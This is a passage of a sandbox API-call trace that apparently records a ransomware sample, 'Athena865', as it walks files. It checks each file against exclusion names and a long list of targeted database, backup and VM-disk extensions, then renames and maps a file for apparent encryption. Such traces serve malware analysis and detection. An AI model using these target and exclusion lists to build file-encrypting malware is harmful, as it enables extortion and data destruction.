(lpString1="DATE.DLL", lpString2="sqlitedb") returned -1 [0115.934] lstrlenW (lpString="xml") returned 3 [0115.934] lstrcmpiW (lpString1="DLL", lpString2="xml") returned -1 [0115.934] lstrlenW (lpString="$er") returned 3 [0115.934] lstrcmpiW (lpString1="DLL", lpString2="$er") returned 1 [0115.934] lstrlenW (lpString="4dd") returned 3 [0115.934] lstrcmpiW (lpString1="DLL", lpString2="4dd") returned 1 [0115.934] lstrlenW (lpString="4dl") returned 3 [0115.934] lstrcmpiW (lpString1="DLL", lpString2="4dl") returned 1 [0115.934] lstrlenW (lpString="^^^") returned 3 [0115.934] lstrcmpiW (lpString1="DLL", lpString2="^^^") returned 1 [0115.934] lstrlenW (lpString="abs") returned 3 [0115.934] lstrcmpiW (lpString1="DLL", lpString2="abs") returned 1 [0115.934] lstrlenW (lpString="abx") returned 3 [0115.934] lstrcmpiW (lpString1="DLL", lpString2="abx") returned 1 [0115.934] lstrlenW (lpString="accdb") returned 5 [0115.934] lstrcmpiW (lpString1="E.DLL", lpString2="accdb") returned 1 [0115.934] lstrlenW (lpString="accdc") returned 5 [0115.934] lstrcmpiW (lpString1="E.DLL", lpString2="accdc") returned 1 [0115.935] lstrlenW (lpString="accde") returned 5 [0115.935] lstrcmpiW (lpString1="E.DLL", lpString2="accde") returned 1 [0115.935] lstrlenW (lpString="accdr") returned 5 [0115.935] lstrcmpiW (lpString1="E.DLL", lpString2="accdr") returned 1 [0115.935] lstrlenW (lpString="accdt") returned 5 [0115.935] lstrcmpiW (lpString1="E.DLL", lpString2="accdt") returned 1 [0115.935] lstrlenW (lpString="accdw") returned 5 [0115.935] lstrcmpiW (lpString1="E.DLL", lpString2="accdw") returned 1 [0115.935] lstrlenW (lpString="accft") returned 5 [0115.935] lstrcmpiW (lpString1="E.DLL", lpString2="accft") returned 1 [0115.935] lstrlenW (lpString="adb") returned 3 [0115.935] lstrcmpiW (lpString1="DLL", lpString2="adb") returned 1 [0115.935] lstrlenW (lpString="adb") returned 3 [0115.935] lstrcmpiW (lpString1="DLL", lpString2="adb") returned 1 [0115.935] lstrlenW (lpString="ade") returned 3 [0115.935] lstrcmpiW (lpString1="DLL", lpString2="ade") returned 1 [0115.935] lstrlenW (lpString="adf") returned 3 [0115.935] lstrcmpiW (lpString1="DLL", lpString2="adf") returned 1 [0115.935] lstrlenW (lpString="adn") returned 3 [0115.935] lstrcmpiW (lpString1="DLL", lpString2="adn") returned 1 [0115.935] lstrlenW (lpString="adp") returned 3 [0115.935] lstrcmpiW (lpString1="DLL", lpString2="adp") returned 1 [0115.935] lstrlenW (lpString="alf") returned 3 [0115.935] lstrcmpiW (lpString1="DLL", lpString2="alf") returned 1 [0115.935] lstrlenW (lpString="ask") returned 3 [0115.935] lstrcmpiW (lpString1="DLL", lpString2="ask") returned 1 [0115.935] lstrlenW (lpString="btr") returned 3 [0115.935] lstrcmpiW (lpString1="DLL", lpString2="btr") returned 1 [0115.935] lstrlenW (lpString="cat") returned 3 [0115.935] lstrcmpiW (lpString1="DLL", lpString2="cat") returned 1 [0115.935] lstrlenW (lpString="cdb") returned 3 [0115.935] lstrcmpiW (lpString1="DLL", lpString2="cdb") returned 1 [0115.936] lstrlenW (lpString="ckp") returned 3 [0115.936] lstrcmpiW (lpString1="DLL", lpString2="ckp") returned 1 [0115.936] lstrlenW (lpString="cma") returned 3 [0115.936] lstrcmpiW (lpString1="DLL", lpString2="cma") returned 1 [0115.936] lstrlenW (lpString="cpd") returned 3 [0115.936] lstrcmpiW (lpString1="DLL", lpString2="cpd") returned 1 [0115.936] lstrlenW (lpString="dacpac") returned 6 [0115.936] lstrcmpiW (lpString1="TE.DLL", lpString2="dacpac") returned 1 [0115.936] lstrlenW (lpString="dad") returned 3 [0115.936] lstrcmpiW (lpString1="DLL", lpString2="dad") returned 1 [0115.936] lstrlenW (lpString="dadiagrams") returned 10 [0115.936] lstrlenW (lpString="daschema") returned 8 [0115.936] lstrcmpiW (lpString1="DATE.DLL", lpString2="daschema") returned 1 [0115.936] lstrlenW (lpString="db-journal") returned 10 [0115.936] lstrlenW (lpString="db-shm") returned 6 [0115.936] lstrcmpiW (lpString1="TE.DLL", lpString2="db-shm") returned 1 [0115.936] lstrlenW (lpString="db-wal") returned 6 [0115.936] lstrcmpiW (lpString1="TE.DLL", lpString2="db-wal") returned 1 [0115.936] lstrlenW (lpString="dbc") returned 3 [0115.936] lstrcmpiW (lpString1="DLL", lpString2="dbc") returned 1 [0115.936] lstrlenW (lpString="dbs") returned 3 [0115.936] lstrcmpiW (lpString1="DLL", lpString2="dbs") returned 1 [0115.936] lstrlenW (lpString="dbt") returned 3 [0115.936] lstrcmpiW (lpString1="DLL", lpString2="dbt") returned 1 [0115.936] lstrlenW (lpString="dbv") returned 3 [0115.936] lstrcmpiW (lpString1="DLL", lpString2="dbv") returned 1 [0115.936] lstrlenW (lpString="dbx") returned 3 [0115.936] lstrcmpiW (lpString1="DLL", lpString2="dbx") returned 1 [0115.936] lstrlenW (lpString="dcb") returned 3 [0115.936] lstrcmpiW (lpString1="DLL", lpString2="dcb") returned 1 [0115.937] lstrcmpiW (lpString1="DLL", lpString2="dct") returned 1 [0115.937] lstrcmpiW (lpString1="DLL", lpString2="dcx") returned 1 [0115.937] lstrcmpiW (lpString1="DLL", lpString2="ddl") returned 1 [0115.937] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\FDATE.DLL.Athena865") returned 76 [0115.937] MoveFileExW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\FDATE.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\smart tag\\fdate.dll"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\FDATE.DLL.Athena865" (normalized: "c:\\program files\\common files\\microsoft shared\\smart tag\\fdate.dll.athena865"), dwFlags=0x1) returned 1 [0115.938] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\FDATE.DLL.Athena865" (normalized: "c:\\program files\\common files\\microsoft shared\\smart tag\\fdate.dll.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x154 [0115.938] GetFileSizeEx (in: hFile=0x154, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=98176) returned 1 [0115.938] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x200300) returned 0x2b40020 [0115.938] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x538e88 [0115.938] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x80) returned 0x519c40 [0115.938] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x519bb8) returned 1 [0115.939] CryptGenRandom (in: hProv=0x519bb8, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0115.939] CryptReleaseContext (hProv=0x519bb8, dwFlags=0x0) returned 1 [0115.939] CreateFileMappingW (hFile=0x154, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x18280, lpName=0x0) returned 0x17c [0115.941] MapViewOfFile (hFileMappingObject=0x17c, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x18280) returned 0x100000 [0115.964] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x519bb8) returned 1 [0115.964] CryptGenRandom (in: hProv=0x519bb8, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0115.964] CryptReleaseContext (hProv=0x519bb8, dwFlags=0x0) returned 1 [0115.964] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x538e10 [0115.964] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x538e10 | out: hHeap=0x4f0000) returned 1 [0115.965] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x100) returned 0x54dd40 [0115.965] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530d20 [0115.965] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x54dd40 | out: hHeap=0x4f0000) returned 1 [0115.965] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530e38 [0115.965] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x208) returned 0x54dd40 [0115.965] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530e38 | out: hHeap=0x4f0000) returned 1 [0115.965] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x54dd40 | out: hHeap=0x4f0000) returned 1 [0115.965] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530d20 | out: hHeap=0x4f0000) returned 1 [0115.965] UnmapViewOfFile (lpBaseAddress=0x100000) returned 1 [0115.966] CloseHandle (hObject=0x17c) returned 1 [0115.966] CloseHandle (hObject=0x154) returned 1 [0115.966] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x538e88 | out: hHeap=0x4f0000) returned 1 [0115.966] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x519c40 | out: hHeap=0x4f0000) returned 1 [0115.966] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x2b40020 | out: hHeap=0x4f0000) returned 1 [0115.967] FindNextFileW (in: hFindFile=0x529bd0, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7b89b100, ftCreationTime.dwHighDateTime=0x1caac21, ftLastAccessTime.dwLowDateTime=0x618eeb70, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7b89b100, ftLastWriteTime.dwHighDateTime=0x1caac21, nFileSizeHigh=0x0, nFileSizeLow=0x35380, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="FPERSON.DLL", cAlternateFileName="")) returned 1 [0115.967] lstrcmpiW (lpString1="FPERSON.DLL", lpString2="HOW TO BACK YOUR FILES.exe") returned -1 [0115.967] lstrcmpiW (lpString1="FPERSON.DLL", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0115.967] lstrcmpiW (lpString1="FPERSON.DLL", lpString2=".") returned 1 [0115.967] lstrcmpiW (lpString1="FPERSON.DLL", lpString2="..") returned 1 [0115.967] lstrcmpiW (lpString1="FPERSON.DLL", lpString2="windows") returned -1 [0115.967] lstrcmpiW (lpString1="FPERSON.DLL", lpString2="bootmgr") returned 1 [0115.967] lstrcmpiW (lpString1="FPERSON.DLL", lpString2="temp") returned -1 [0115.967] lstrcmpiW (lpString1="FPERSON.DLL", lpString2="pagefile.sys") returned -1 [0115.967] lstrcmpiW (lpString1="FPERSON.DLL", lpString2="boot") returned 1 [0115.967] lstrcmpiW (lpString1="FPERSON.DLL", lpString2="ids.txt") returned -1 [0115.967] lstrcmpiW (lpString1="FPERSON.DLL", lpString2="ntuser.dat") returned -1 [0115.967] lstrcmpiW (lpString1="FPERSON.DLL", lpString2="perflogs") returned -1 [0115.967] lstrcmpiW (lpString1="FPERSON.DLL", lpString2="MSBuild") returned -1 [0115.967] lstrlenW (lpString="FPERSON.DLL") returned 11 [0115.967] lstrcpyW (in: lpString1=0x241e8ba, lpString2="FPERSON.DLL" | out: lpString1="FPERSON.DLL") returned="FPERSON.DLL" [0115.967] lstrlenW (lpString="FPERSON.DLL") returned 11 [0115.967] lstrlenW (lpString="Athena865") returned 9 [0115.967] lstrcmpiW (lpString1="ERSON.DLL", lpString2="Athena865") returned 1 [0115.967] lstrlenW (lpString=".dll") returned 4 [0115.967] lstrcmpiW (lpString1="FPERSON.DLL", lpString2=".dll") returned 1 [0115.967] lstrlenW (lpString=".lnk") returned 4 [0115.967] lstrcmpiW (lpString1="FPERSON.DLL", lpString2=".lnk") returned 1 [0115.967] lstrlenW (lpString=".ini") returned 4 [0115.967] lstrcmpiW (lpString1="FPERSON.DLL", lpString2=".ini") returned 1 [0115.967] lstrlenW (lpString=".sys") returned 4 [0115.968] lstrcmpiW (lpString1="FPERSON.DLL", lpString2=".sys") returned 1 [0115.968] lstrlenW (lpString="FPERSON.DLL") returned 11 [0115.968] lstrlenW (lpString="bak") returned 3 [0115.968] lstrcmpiW (lpString1="DLL", lpString2="bak") returned 1 [0115.968] lstrlenW (lpString="ba_") returned 3 [0115.968] lstrcmpiW (lpString1="DLL", lpString2="ba_") returned 1 [0115.968] lstrlenW (lpString="dbb") returned 3 [0115.968] lstrcmpiW (lpString1="DLL", lpString2="dbb") returned 1 [0115.968] lstrlenW (lpString="vmdk") returned 4 [0115.968] lstrcmpiW (lpString1=".DLL", lpString2="vmdk") returned -1 [0115.968] lstrlenW (lpString="rar") returned 3 [0115.968] lstrcmpiW (lpString1="DLL", lpString2="rar") returned -1 [0115.968] lstrlenW (lpString="zip") returned 3 [0115.968] lstrcmpiW (lpString1="DLL", lpString2="zip") returned -1 [0115.968] lstrlenW (lpString="tgz") returned 3 [0115.968] lstrcmpiW (lpString1="DLL", lpString2="tgz") returned -1 [0115.968] lstrlenW (lpString="vbox") returned 4 [0115.968] lstrcmpiW (lpString1=".DLL", lpString2="vbox") returned -1 [0115.968] lstrlenW (lpString="vdi") returned 3 [0115.968] lstrcmpiW (lpString1="DLL", lpString2="vdi") returned -1 [0115.968] lstrlenW (lpString="vhd") returned 3 [0115.968] lstrcmpiW (lpString1="DLL", lpString2="vhd") returned -1 [0115.968] lstrlenW (lpString="vhdx") returned 4 [0115.968] lstrcmpiW (lpString1=".DLL", lpString2="vhdx") returned -1 [0115.968] lstrlenW (lpString="avhd") returned 4 [0115.968] lstrcmpiW (lpString1=".DLL", lpString2="avhd") returned -1 [0115.968] lstrlenW (lpString="db") returned 2 [0115.968] lstrcmpiW (lpString1="LL", lpString2="db") returned 1 [0115.968] lstrlenW (lpString="db2") returned 3 [0115.968] lstrcmpiW (lpString1="DLL", lpString2="db2") returned 1 [0115.968] lstrlenW (lpString="db3") returned 3 [0115.968] lstrcmpiW (lpString1="DLL", lpString2="db3") returned 1 [0115.969] lstrlenW (lpString="dbf") returned 3 [0115.969] lstrcmpiW (lpString1="DLL", lpString2="dbf") returned 1 [0115.969] lstrlenW (lpString="mdf") returned 3 [0115.969] lstrcmpiW (lpString1="DLL", lpString2="mdf") returned -1 [0115.969] lstrlenW (lpString="mdb") returned 3 [0115.969] lstrcmpiW (lpString1="DLL", lpString2="mdb") returned -1 [0115.969] lstrlenW (lpString="sql") returned 3 [0115.969] lstrcmpiW (lpString1="DLL", lpString2="sql") returned -1 [0115.969] lstrlenW (lpString="sqlite") returned 6 [0115.969] lstrcmpiW (lpString1="ON.DLL", lpString2="sqlite") returned -1 [0115.969] lstrlenW (lpString="sqlite3") returned 7 [0115.969] lstrcmpiW (lpString1="SON.DLL", lpString2="sqlite3") returned -1 [0115.969] lstrlenW (lpString="sqlitedb") returned 8 [0115.969] lstrcmpiW (lpString1="RSON.DLL", lpString2="sqlitedb") returned -1 [0115.969] lstrlenW (lpString="xml") returned 3 [0115.969] lstrcmpiW (lpString1="DLL", lpString2="xml") returned -1 [0115.969] lstrlenW (lpString="$er") returned 3 [0115.969] lstrcmpiW (lpString1="DLL", lpString2="$er") returned 1 [0115.969] lstrlenW (lpString="4dd") returned 3 [0115.969] lstrcmpiW (lpString1="DLL", lpString2="4dd") returned 1 [0115.969] lstrlenW (lpString="4dl") returned 3 [0115.969] lstrcmpiW (lpString1="DLL", lpString2="4dl") returned 1 [0115.969] lstrlenW (lpString="^^^") returned 3 [0115.969] lstrcmpiW (lpString1="DLL", lpString2="^^^") returned 1 [0115.969] lstrlenW (lpString="abs") returned 3 [0115.969] lstrcmpiW (lpString1="DLL", lpString2="abs") returned 1 [0115.969] lstrlenW (lpString="abx") returned 3 [0115.969] lstrcmpiW (lpString1="DLL", lpString2="abx") returned 1 [0115.969] lstrlenW (lpString="accdb") returned 5 [0115.969] lstrcmpiW (lpString1="N.DLL", lpString2="accdb") returned 1 [0115.969] lstrlenW (lpString="accdc") returned 5 [0115.969] lstrcmpiW (lpString1="N.DLL", lpString2="accdc") returned 1 [0115.970] lstrlenW (lpString="accde") returned 5 [0115.970] lstrcmpiW (lpString1="N.DLL", lpString2="accde") returned 1 [0115.970] lstrlenW (lpString="accdr") returned 5 [0115.970] lstrcmpiW (lpString1="N.DLL", lpString2="accdr") returned 1 [0115.970] lstrlenW (lpString="accdt") returned 5 [0115.970] lstrcmpiW (lpString1="N.DLL", lpString2="accdt") returned 1 [0115.970] lstrlenW (lpString="accdw") returned 5 [0115.970] lstrcmpiW (lpString1="N.DLL", lpString2="accdw") returned 1 [0115.970] lstrlenW (lpString="accft") returned 5 [0115.970] lstrcmpiW (lpString1="N.DLL", lpString2="accft") returned 1 [0115.970] lstrlenW (lpString="adb") returned 3 [0115.970] lstrcmpiW (lpString1="DLL", lpString2="adb") returned 1 [0115.970] lstrlenW (lpString="adb") returned 3 [0115.970] lstrcmpiW (lpString1="DLL", lpString2="adb") returned 1 [0115.970] lstrlenW (lpString="ade") returned 3 [0115.970] lstrcmpiW (lpString1="DLL", lpString2="ade") returned 1 [0115.970] lstrlenW (lpString="adf") returned 3 [0115.970] lstrcmpiW (lpString1="DLL", lpString2="adf") returned 1 [0115.970] lstrlenW (lpString="adn") returned 3 [0115.970] lstrcmpiW (lpString1="DLL", lpString2="adn") returned 1 [0115.970] lstrlenW (lpString="adp") returned 3 [0115.970] lstrcmpiW (lpString1="DLL", lpString2="adp") returned 1 [0115.970] lstrlenW (lpString="alf") returned 3 [0115.970] lstrcmpiW (lpString1="DLL", lpString2="alf") returned 1 [0115.970] lstrlenW (lpString="ask") returned 3 [0115.970] lstrcmpiW (lpString1="DLL", lpString2="ask") returned 1 [0115.970] lstrlenW (lpString="btr") returned 3 [0115.970] lstrcmpiW (lpString1="DLL", lpString2="btr") returned 1 [0115.970] lstrlenW (lpString="cat") returned 3 [0115.970] lstrcmpiW (lpString1="DLL", lpString2="cat") returned 1 [0115.971] lstrlenW (lpString="cdb") returned 3 [0115.971] lstrcmpiW (lpString1="DLL", lpString2="cdb") returned 1 [0115.971] lstrlenW (lpString="ckp") returned 3 [0115.971] lstrcmpiW (lpString1="DLL", lpString2="ckp") returned 1 [0115.971] lstrlenW (lpString="cma") returned 3 [0115.971] lstrcmpiW (lpString1="DLL", lpString2="cma") returned 1 [0115.971] lstrlenW (lpString="cpd") returned 3 [0115.971] lstrcmpiW (lpString1="DLL", lpString2="cpd") returned 1 [0115.971] lstrlenW (lpString="dacpac") returned 6 [0115.971] lstrcmpiW (lpString1="ON.DLL", lpString2="dacpac") returned 1 [0115.971] lstrlenW (lpString="dad") returned 3 [0115.971] lstrcmpiW (lpString1="DLL", lpString2="dad") returned 1 [0115.971] lstrlenW (lpString="dadiagrams") returned 10 [0115.971] lstrcmpiW (lpString1="PERSON.DLL", lpString2="dadiagrams") returned 1 [0115.971] lstrlenW (lpString="daschema") returned 8 [0115.971] lstrcmpiW (lpString1="RSON.DLL", lpString2="daschema") returned 1 [0115.971] lstrlenW (lpString="db-journal") returned 10 [0115.971] lstrcmpiW (lpString1="PERSON.DLL", lpString2="db-journal") returned 1 [0115.971] lstrlenW (lpString="db-shm") returned 6 [0115.971] lstrcmpiW (lpString1="ON.DLL", lpString2="db-shm") returned 1 [0115.971] lstrlenW (lpString="db-wal") returned 6 [0115.971] lstrcmpiW (lpString1="ON.DLL", lpString2="db-wal") returned 1 [0115.971] lstrlenW (lpString="dbc") returned 3 [0115.971] lstrcmpiW (lpString1="DLL", lpString2="dbc") returned 1 [0115.971] lstrlenW (lpString="dbs") returned 3 [0115.971] lstrcmpiW (lpString1="DLL", lpString2="dbs") returned 1 [0115.971] lstrlenW (lpString="dbt") returned 3 [0115.971] lstrcmpiW (lpString1="DLL", lpString2="dbt") returned 1 [0115.971] lstrlenW (lpString="dbv") returned 3 [0115.971] lstrcmpiW (lpString1="DLL", lpString2="dbv") returned 1 [0115.971] lstrlenW (lpString="dbx") returned 3 [0115.971] lstrcmpiW (lpString1="DLL", lpString2="dbx") returned 1 [0115.972] lstrlenW (lpString="dcb") returned 3 [0115.972] lstrcmpiW (lpString1="DLL", lpString2="dcb") returned 1 [0115.972] lstrlenW (lpString="dct") returned 3 [0115.972] lstrcmpiW (lpString1="DLL", lpString2="dct") returned 1 [0115.972] lstrlenW (lpString="dcx") returned 3 [0115.972] lstrcmpiW (lpString1="DLL", lpString2="dcx") returned 1 [0115.972] lstrlenW (lpString="ddl") returned 3 [0115.972] lstrcmpiW (lpString1="DLL", lpString2="ddl") returned 1 [0115.972] lstrlenW (lpString="dlis") returned 4 [0115.972] lstrcmpiW (lpString1=".DLL", lpString2="dlis") returned -1 [0115.972] lstrlenW (lpString="dp1") returned 3 [0115.972] lstrcmpiW (lpString1="DLL", lpString2="dp1") returned -1 [0115.972] lstrlenW (lpString="dqy") returned 3 [0115.972] lstrcmpiW (lpString1="DLL", lpString2="dqy") returned -1 [0115.972] lstrlenW (lpString="dsk") returned 3 [0115.972] lstrcmpiW (lpString1="DLL", lpString2="dsk") returned -1 [0115.972] lstrlenW (lpString="dsn") returned 3 [0115.972] lstrcmpiW (lpString1="DLL", lpString2="dsn") returned -1 [0115.972] lstrlenW (lpString="dtsx") returned 4 [0115.972] lstrcmpiW (lpString1=".DLL", lpString2="dtsx") returned -1 [0115.972] lstrlenW (lpString="dxl") returned 3 [0115.972] lstrcmpiW (lpString1="DLL", lpString2="dxl") returned -1 [0115.972] lstrlenW (lpString="eco") returned 3 [0115.972] lstrcmpiW (lpString1="DLL", lpString2="eco") returned -1 [0115.972] lstrlenW (lpString="ecx") returned 3 [0115.972] lstrcmpiW (lpString1="DLL", lpString2="ecx") returned -1 [0115.972] lstrlenW (lpString="edb") returned 3 [0115.972] lstrcmpiW (lpString1="DLL", lpString2="edb") returned -1 [0115.973] lstrlenW (lpString="epim") returned 4 [0115.973] lstrcmpiW (lpString1=".DLL", lpString2="epim") returned -1 [0115.973] lstrlenW (lpString="fcd") returned 3 [0115.973] lstrcmpiW (lpString1="DLL", lpString2="fcd") returned -1 [0115.973] lstrlenW (lpString="fdb") returned 3 [0115.973] lstrcmpiW (lpString1="DLL", lpString2="fdb") returned -1 [0115.973] lstrlenW (lpString="fic") returned 3 [0115.973] lstrcmpiW (lpString1="DLL", lpString2="fic") returned -1 [0115.973] lstrlenW (lpString="flexolibrary") returned 12 [0115.973] lstrlenW (lpString="fm5") returned 3 [0115.973] lstrcmpiW (lpString1="DLL", lpString2="fm5") returned -1 [0115.973] lstrlenW (lpString="fmp") returned 3 [0115.973] lstrcmpiW (lpString1="DLL", lpString2="fmp") returned -1 [0115.973] lstrlenW (lpString="fmp12") returned 5 [0115.973] lstrcmpiW (lpString1="N.DLL", lpString2="fmp12") returned 1 [0115.973] lstrlenW (lpString="fmpsl") returned 5 [0115.973] lstrcmpiW (lpString1="N.DLL", lpString2="fmpsl") returned 1 [0115.973] lstrlenW (lpString="fol") returned 3 [0115.973] lstrcmpiW (lpString1="DLL", lpString2="fol") returned -1 [0115.973] lstrlenW (lpString="fp3") returned 3 [0115.973] lstrcmpiW (lpString1="DLL", lpString2="fp3") returned -1 [0115.973] lstrlenW (lpString="fp4") returned 3 [0115.973] lstrcmpiW (lpString1="DLL", lpString2="fp4") returned -1 [0115.973] lstrlenW (lpString="fp5") returned 3 [0115.973] lstrcmpiW (lpString1="DLL", lpString2="fp5") returned -1 [0115.973] lstrlenW (lpString="fp7") returned 3 [0115.973] lstrcmpiW (lpString1="DLL", lpString2="fp7") returned -1 [0115.973] lstrlenW (lpString="fpt") returned 3 [0115.973] lstrcmpiW (lpString1="DLL", lpString2="fpt") returned -1 [0115.973] lstrlenW (lpString="frm") returned 3 [0115.973] lstrcmpiW (lpString1="DLL", lpString2="frm") returned -1 [0115.973] lstrlenW (lpString="gdb") returned 3 [0115.974] lstrcmpiW (lpString1="DLL", lpString2="gdb") returned -1 [0115.974] lstrlenW (lpString="gdb") returned 3 [0115.974] lstrcmpiW (lpString1="DLL", lpString2="gdb") returned -1 [0115.974] lstrlenW (lpString="grdb") returned 4 [0115.974] lstrcmpiW (lpString1=".DLL", lpString2="grdb") returned -1 [0115.974] lstrlenW (lpString="gwi") returned 3 [0115.976] lstrcmpiW (lpString1="DLL", lpString2="gwi") returned -1 [0115.976] lstrlenW (lpString="hdb") returned 3 [0115.976] lstrcmpiW (lpString1="DLL", lpString2="hdb") returned -1 [0115.976] lstrlenW (lpString="his") returned 3 [0115.976] lstrcmpiW (lpString1="DLL", lpString2="his") returned -1 [0115.976] lstrlenW (lpString="ib") returned 2 [0115.976] lstrcmpiW (lpString1="LL", lpString2="ib") returned 1 [0115.976] lstrlenW (lpString="idb") returned 3 [0115.976] lstrcmpiW (lpString1="DLL", lpString2="idb") returned -1 [0115.976] lstrlenW (lpString="ihx") returned 3 [0115.976] lstrcmpiW (lpString1="DLL", lpString2="ihx") returned -1 [0115.976] lstrlenW (lpString="itdb") returned 4 [0115.976] lstrcmpiW (lpString1=".DLL", lpString2="itdb") returned -1 [0115.976] lstrlenW (lpString="itw") returned 3 [0115.976] lstrcmpiW (lpString1="DLL", lpString2="itw") returned -1 [0115.976] lstrlenW (lpString="jet") returned 3 [0115.976] lstrcmpiW (lpString1="DLL", lpString2="jet") returned -1 [0115.976] lstrlenW (lpString="jtx") returned 3 [0115.976] lstrcmpiW (lpString1="DLL", lpString2="jtx") returned -1 [0115.976] lstrlenW (lpString="kdb") returned 3 [0115.976] lstrcmpiW (lpString1="DLL", lpString2="kdb") returned -1 [0115.977] lstrlenW (lpString="kexi") returned 4 [0115.977] lstrcmpiW (lpString1=".DLL", lpString2="kexi") returned -1 [0115.977] lstrlenW (lpString="kexic") returned 5 [0115.977] lstrcmpiW (lpString1="N.DLL", lpString2="kexic") returned 1 [0115.977] lstrlenW (lpString="kexis") returned 5 [0115.977] lstrcmpiW (lpString1="N.DLL", lpString2="kexis") returned 1 [0115.977] lstrlenW (lpString="lgc") returned 3 [0115.977] lstrcmpiW (lpString1="DLL", lpString2="lgc") returned -1 [0115.977] lstrlenW (lpString="lwx") returned 3 [0115.977] lstrcmpiW (lpString1="DLL", lpString2="lwx") returned -1 [0115.977] lstrlenW (lpString="maf") returned 3 [0115.977] lstrcmpiW (lpString1="DLL", lpString2="maf") returned -1 [0115.977] lstrlenW (lpString="maq") returned 3 [0115.977] lstrcmpiW (lpString1="DLL", lpString2="maq") returned -1 [0115.977] lstrlenW (lpString="mar") returned 3 [0115.977] lstrcmpiW (lpString1="DLL", lpString2="mar") returned -1 [0115.977] lstrlenW (lpString="marshal") returned 7 [0115.977] lstrcmpiW (lpString1="SON.DLL", lpString2="marshal") returned 1 [0115.977] lstrlenW (lpString="mas") returned 3 [0115.977] lstrcmpiW (lpString1="DLL", lpString2="mas") returned -1 [0115.977] lstrlenW (lpString="mav") returned 3 [0115.977] lstrcmpiW (lpString1="DLL", lpString2="mav") returned -1 [0115.977] lstrlenW (lpString="maw") returned 3 [0115.977] lstrcmpiW (lpString1="DLL", lpString2="maw") returned -1 [0115.977] lstrlenW (lpString="mdbhtml") returned 7 [0115.977] lstrcmpiW (lpString1="SON.DLL", lpString2="mdbhtml") returned 1 [0115.977] lstrlenW (lpString="mdn") returned 3 [0115.977] lstrcmpiW (lpString1="DLL", lpString2="mdn") returned -1 [0115.978] lstrlenW (lpString="mdt") returned 3 [0115.978] lstrcmpiW (lpString1="DLL", lpString2="mdt") returned -1 [0115.978] lstrlenW (lpString="mfd") returned 3 [0115.978] lstrcmpiW (lpString1="DLL", lpString2="mfd") returned -1 [0115.978] lstrlenW (lpString="mpd") returned 3 [0115.978] lstrcmpiW (lpString1="DLL", lpString2="mpd") returned -1 [0115.978] lstrlenW (lpString="mrg") returned 3 [0115.978] lstrcmpiW (lpString1="DLL", lpString2="mrg") returned -1 [0115.978] lstrlenW (lpString="mud") returned 3 [0115.978] lstrcmpiW (lpString1="DLL", lpString2="mud") returned -1 [0115.978] lstrlenW (lpString="mwb") returned 3 [0115.978] lstrcmpiW (lpString1="DLL", lpString2="mwb") returned -1 [0115.978] lstrlenW (lpString="myd") returned 3 [0115.978] lstrcmpiW (lpString1="DLL", lpString2="myd") returned -1 [0115.978] lstrlenW (lpString="ndf") returned 3 [0115.978] lstrcmpiW (lpString1="DLL", lpString2="ndf") returned -1 [0115.978] lstrlenW (lpString="nnt") returned 3 [0115.978] lstrcmpiW (lpString1="DLL", lpString2="nnt") returned -1 [0115.978] lstrlenW (lpString="nrmlib") returned 6 [0115.978] lstrcmpiW (lpString1="ON.DLL", lpString2="nrmlib") returned 1 [0115.978] lstrlenW (lpString="ns2") returned 3 [0115.978] lstrcmpiW (lpString1="DLL", lpString2="ns2") returned -1 [0115.978] lstrlenW (lpString="ns3") returned 3 [0115.978] lstrcmpiW (lpString1="DLL", lpString2="ns3") returned -1 [0115.978] lstrlenW (lpString="ns4") returned 3 [0115.978] lstrcmpiW (lpString1="DLL", lpString2="ns4") returned -1 [0115.978] lstrlenW (lpString="nsf") returned 3 [0115.978] lstrcmpiW (lpString1="DLL", lpString2="nsf") returned -1 